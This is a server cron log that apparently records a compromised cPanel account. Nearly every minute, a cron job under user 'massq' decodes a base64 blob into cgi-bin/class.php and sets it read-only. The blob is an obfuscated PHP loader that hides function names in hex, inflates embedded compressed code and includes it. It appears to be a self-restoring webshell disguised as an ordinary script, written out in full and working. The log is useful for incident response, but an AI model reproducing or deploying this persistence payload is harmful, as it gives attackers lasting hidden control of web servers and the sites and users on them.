Nov 12 16:38:01 server CROND[17674]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:39:01 server CROND[18485]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 16:39:01 server CROND[18487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:40:01 server CROND[19302]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:40:01 server CROND[19303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 16:40:01 server CROND[19304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:40:01 server CROND[19305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:41:01 server CROND[19690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:42:01 server CROND[20433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:42:01 server CROND[20434]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 16:43:01 server CROND[21349]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:44:01 server CROND[22163]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:45:01 server CROND[22972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:45:01 server CROND[22973]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:45:01 server CROND[22974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:46:01 server CROND[23849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:47:01 server CROND[24675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:48:01 server CROND[25578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:49:01 server CROND[26321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:50:01 server CROND[27156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:50:01 server CROND[27157]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 16:50:01 server CROND[27159]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:50:01 server CROND[27160]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 16:50:01 server CROND[27162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
